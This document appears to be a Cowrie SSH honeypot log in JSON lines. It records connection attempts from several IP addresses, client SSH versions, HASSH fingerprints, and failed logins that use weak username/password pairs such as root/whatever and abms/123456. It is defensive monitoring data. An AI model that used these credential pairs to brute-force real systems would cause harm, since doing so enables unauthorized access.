{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:52.988527Z","src_ip":"159.203.92.129","session":"904b16cbac78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abms","password":"123456","message":"login attempt [abms/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:52.999852Z","src_ip":"159.203.92.129","session":"904b16cbac78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:13:54.006054Z","src_ip":"159.203.92.129","session":"904b16cbac78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":36550,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec64c307381d","protocol":"ssh","message":"New connection: 43.160.206.186:36550 (159.203.135.109:22) [session: ec64c307381d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:07.884072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:07.888687Z","src_ip":"43.160.206.186","session":"ec64c307381d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:08.136774Z","src_ip":"43.160.206.186","session":"ec64c307381d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"qwertyuiop","message":"login attempt [lighthouse/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:09.149580Z","src_ip":"43.160.206.186","session":"ec64c307381d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:10.397606Z","src_ip":"43.160.206.186","session":"ec64c307381d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47026,"dst_ip":"159.203.135.109","dst_port":22,"session":"51195542c90b","protocol":"ssh","message":"New connection: 2.57.122.238:47026 (159.203.135.109:22) [session: 51195542c90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:29.003157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:29.007527Z","src_ip":"2.57.122.238","session":"51195542c90b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:29.110937Z","src_ip":"2.57.122.238","session":"51195542c90b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:29.421447Z","src_ip":"2.57.122.238","session":"51195542c90b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:30.527438Z","src_ip":"2.57.122.238","session":"51195542c90b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":57036,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ce469484a0f","protocol":"ssh","message":"New connection: 34.39.58.191:57036 (159.203.135.109:22) [session: 1ce469484a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:32.898039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:32.902883Z","src_ip":"34.39.58.191","session":"1ce469484a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:32.982374Z","src_ip":"34.39.58.191","session":"1ce469484a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatever","message":"login attempt [root/whatever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:33.311905Z","src_ip":"34.39.58.191","session":"1ce469484a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45254,"dst_ip":"159.203.135.109","dst_port":22,"session":"65da2850e920","protocol":"ssh","message":"New connection: 159.203.92.129:45254 (159.203.135.109:22) [session: 65da2850e920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:33.924582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:33.929135Z","src_ip":"159.203.92.129","session":"65da2850e920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:33.934043Z","src_ip":"159.203.92.129","session":"65da2850e920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abms","password":"abms","message":"login attempt [abms/abms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:33.943967Z","src_ip":"159.203.92.129","session":"65da2850e920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:34.387795Z","src_ip":"34.39.58.191","session":"1ce469484a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:14:34.949935Z","src_ip":"159.203.92.129","session":"65da2850e920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":33370,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b2e0ec4127d","protocol":"ssh","message":"New connection: 43.160.206.186:33370 (159.203.135.109:22) [session: 4b2e0ec4127d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:03.680041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:03.690002Z","src_ip":"43.160.206.186","session":"4b2e0ec4127d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:03.940385Z","src_ip":"43.160.206.186","session":"4b2e0ec4127d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:04.958179Z","src_ip":"43.160.206.186","session":"4b2e0ec4127d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f7cf091d30","protocol":"ssh","message":"New connection: 194.59.206.2:40590 (10.17.0.5:22) [session: 07f7cf091d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:05.165582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:05.584809Z","src_ip":"194.59.206.2","session":"07f7cf091d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:05.588861Z","src_ip":"194.59.206.2","session":"07f7cf091d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:05.885663Z","src_ip":"194.59.206.2","session":"07f7cf091d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:06.207565Z","src_ip":"43.160.206.186","session":"4b2e0ec4127d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58384,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8b7d191cb5f","protocol":"ssh","message":"New connection: 159.203.92.129:58384 (159.203.135.109:22) [session: a8b7d191cb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:17.308624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:17.313495Z","src_ip":"159.203.92.129","session":"a8b7d191cb5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:17.318632Z","src_ip":"159.203.92.129","session":"a8b7d191cb5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abms","password":"abms123","message":"login attempt [abms/abms123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:17.335657Z","src_ip":"159.203.92.129","session":"a8b7d191cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:18.344359Z","src_ip":"159.203.92.129","session":"a8b7d191cb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":57732,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea8562c0d90","protocol":"ssh","message":"New connection: 34.39.58.191:57732 (159.203.135.109:22) [session: aea8562c0d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:22.173807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:22.179160Z","src_ip":"34.39.58.191","session":"aea8562c0d90","protocol":"ssh"}
